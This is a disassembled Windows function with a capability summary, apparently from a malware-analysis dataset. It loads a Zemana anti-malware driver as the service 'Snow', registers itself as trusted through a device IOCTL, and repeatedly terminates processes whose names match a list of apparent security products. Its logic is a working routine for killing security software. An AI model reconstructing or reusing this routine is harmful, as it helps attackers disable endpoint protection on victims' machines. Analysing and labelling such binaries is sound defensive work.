Function at 0x140001760
Capabilities:
Create service
Enumerate processes
Query service status
Start service

Disassembly:
push rbp
push rsi
push r12
push r14
lea rbp, [rsp - 0x558]
sub rsp, 0x658
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x540], rax
call fcn.140001300
test al, al
jne 0x1400017b8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_download_file.
call fcn.140002e30
mov rcx, rax
lea rdx, [0x140003010]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400019d5
lea rdx, [rbp + 0x1e0]
lea rcx, str.Snow.sys
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
je 0x140001bf6
xor r9d, r9d
lea r8, [rbp + 0x320]
mov edx, 0x104
lea rcx, [rbp + 0x20c]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x140001be5
mov qword [rsp + 0x680], rbx
lea rdx, [rbp + 0x320]
mov qword [rsp + 0x688], rdi
lea rcx, str.driver_path:__s_n
mov qword [rsp + 0x690], r13
call fcn.140001020
lea rdx, [rbp + 0x20c]
lea rcx, str.Loading__s_driver_..__n
call fcn.140001020
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x1400018c0
mov r8d, 0xf01ff
lea rdx, str.Snow
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
xor r13d, r13d
mov rdi, rax
test rax, rax
je 0x1400018d1
lea rcx, str.Service_already_exists._n
call fcn.140001020
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x1400018ae
cmp dword [rbp - 0x7c], 1
jne 0x14000194d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x140001941
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.faild_to_load_driver__try_to_run_the_program_as_administrator___n
call fcn.140001020
jmp 0x1400019bd
mov qword [rsp + 0x60], r13
lea rax, [rbp + 0x320]
mov qword [rsp + 0x58], r13
lea r8, str.Snow
mov qword [rsp + 0x50], r13
lea rdx, str.Snow
mov qword [rsp + 0x48], r13
mov r9d, 0xf01ff
mov qword [rsp + 0x40], r13
mov rcx, rbx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
je 0x1400018b7
lea rcx, str.Service_created_successfully._n
call fcn.140001020
jmp 0x140001898
lea rcx, str.Starting_service..._n
call fcn.140001020
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.driver_loaded_successfully____n
mov qword [rsp + 0x650], r15
call fcn.140001020
mov qword [rsp + 0x30], r13
lea rcx, str..ZemanaAntiMalware
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1400019f7
lea rcx, str.Failed_to_open_handle_to_driver___
call fcn.140001020
mov r15, qword [rsp + 0x650]
mov rdi, qword [rsp + 0x688]
mov r13, qword [rsp + 0x690]
mov rbx, qword [rsp + 0x680]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.140003370
add rsp, 0x658
pop r14
pop r12
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov qword [rsp + 0x38], r13
lea r8, [rsp + 0x74]
mov qword [rsp + 0x30], r13
mov r9d, 4
mov dword [rsp + 0x28], r13d
mov edx, 0x80002010
mov rcx, r15
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x74], eax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edx, 0x80002010
test eax, eax
jne 0x140001a51
lea rcx, str.Failed_to_register_the_process_in_the_trusted_list__X____n
call fcn.140001020
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400019b5
lea rcx, str.process_registed_in_the_trusted_list__X____n
call fcn.140001020
lea rcx, str.keep_the_program_running_for_the_execution__n
call fcn.140001020
lea r12, [0x140005de8]
xor edx, edx
mov dword [rsp + 0x70], r13d
mov ecx, 2
mov dword [rsp + 0x7c], r13d
mov dword [rsp + 0x78], r13d
mov esi, r13d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001bd5
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001bb8
nop dword [rax + rax]
mov r8d, 0x104
lea rdx, [rbp - 0x34]
lea rcx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
lea rcx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rdi, rax
movzx eax, byte [rax]
test al, al
je 0x140001b07
mov rbx, rdi
movzx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rbx], al
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x140001af1
lea rbx, str.activeconsole
nop
mov rdx, qword [rbx]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001b35
add rbx, 8
cmp rbx, r12
jl 0x140001b10
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001ba3
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [rbp - 0x58]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x70], eax
mov r9d, 4
mov qword [rsp + 0x38], r13
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov edx, 0x80002048
lea rax, [rsp + 0x7c]
mov dword [rsp + 0x28], 4
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea rdx, [rbp - 0x34]
test eax, eax
jne 0x140001b95
lea rcx, str.faild_to_terminate__ws____n
call fcn.140001020
jmp 0x140001ba3
lea rcx, str.terminated__ws_n
call fcn.140001020
inc esi
lea rdx, [rbp - 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001ac0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140001bd5
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a70
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a70
lea rcx, str.path_not_found____n
call fcn.140001020
jmp 0x1400019d5
lea rcx, str.driver_not_found____n
call fcn.140001020
jmp 0x1400019d5